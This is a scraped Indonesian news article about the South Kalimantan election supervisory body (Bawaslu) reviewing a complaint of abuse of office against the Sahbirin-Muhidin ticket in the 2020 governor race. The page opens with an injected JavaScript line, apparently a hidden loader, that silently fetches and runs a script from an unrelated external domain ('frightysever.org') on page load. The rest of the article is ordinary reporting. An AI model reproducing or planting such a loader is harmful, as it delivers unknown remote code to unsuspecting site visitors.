(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Pilgub Kalsel

Tanggapi Laporan BW, Bawaslu Kalsel Kaji Dugaan Pelanggaran Pilkada Paslon Sahbirin-Muhidin


KANALKALIMANTAN.COM, BANJARMASIN – Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan resmi menerima laporan dugaan pelanggaran pemilihan gubernur (Pilgub) Kalsel dari Tim Hukum pasangan calon (paslon) Denny Indrayana-Difriadi, Rabu (28/10/2020).

Kepada awak media, Kordiv Penindakan Pelanggaran Bawaslu Provinsi Kalsel Azhar Ridhanie mengungkapkan, isi laporan dugaan pelanggaran pemilu sudah dilakukan verifikasi.

Terkait dengan pelanggaran Pasal 71 ayat (3) UU Pilkada yang mengatur larangan Gubernur menggunakan kewenangan, program, dan kegiatan yang menguntungkan atau merugikan salah satu pasangan calon. Tidak kalah penting dari pelanggaran tersebut adalah sanksi diskualifikasi atau pembatalan petahana dalam kontestasi Pilkada sebagaimana diatur dalam Pasal 71 ayat (5).

Aldo -sapaan Azhar, mengatakan Bawaslu akan memastikan dan melakukan kajian awal terhadap laporan yang dilayangkan. “Selama dua hari Bawaslu mengkaji apakah terpenuhi syarat formil dan materil, ” katanya.

Ia juga mengatakan pihaknya akan melakukan identifikasi awal terkat laporan tersebut. Apakah subjek laporan yang disampaikan tidak melebihi tenggang waktu yang sudah ditentukan atau tidak.

Selain itu, pihaknya juga akan memeriksa kesesuaian tanda tangan pelapor dengan KTP yang sudah dilampirkan kepada Bawaslu.

“Seluruh materiil pelaporan dan bukti-bukti yang dibawa pelapor akan dilakukan proses penkajian, klasifikasi dan klarifikasi lebih lanjut jika terpenuhi syarat formil dan materiil pelaporan,” katanya.

Dia mengemukakan, apabila itu belum terpenuhi bisa dilengkapi oleh pelapor selang waktu dua hari.

“Setelah ini kami akan mengkaji laporan itu untuk melihat syarat formil dan materil,” tambahnya .

Selanjutnya, Bawaslu akan melakukan kajian awal jenis pelanggaran. “Apakah itu melanggar undang-undang pidana, undang lainnya atau melanggar secara administratif,” ucapnya

Azhar Ridhanie mengatakan pihaknya menerima sedikitnya ada tiga alat bukti yang diserahkan oleh pelapor atas nama Jurkani.

“Kurang lebih ada 3 alat bukti yang kami terima,” ujarnya.

Ia membeberkan, bukti-bukti tersebut kebanyakan berbentuk foto untuk mendukung laporan dugaan penyalahgunaan wewenang oleh salah satu paslon di Pilkada Kalsel tahun 2020.

Ia juga mengatakan jika berdasarkan kajian ada unsur pelanggaran undang-undang lainnya, maka akan dilakukan penelusuran terhadap proses itu.

“Dan rekomendasinya kepada instansi terkait tapi kalau ada unsur pelanggaran pidana maka dalam 1x 24 jam kami akan meneruskan ke Sentra Gakkumdu untuk dilakukan pembahasan,” pungkasnya
(kanalkalimantan.com/putra)

Reporter : Putra
Editor : Cell

Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.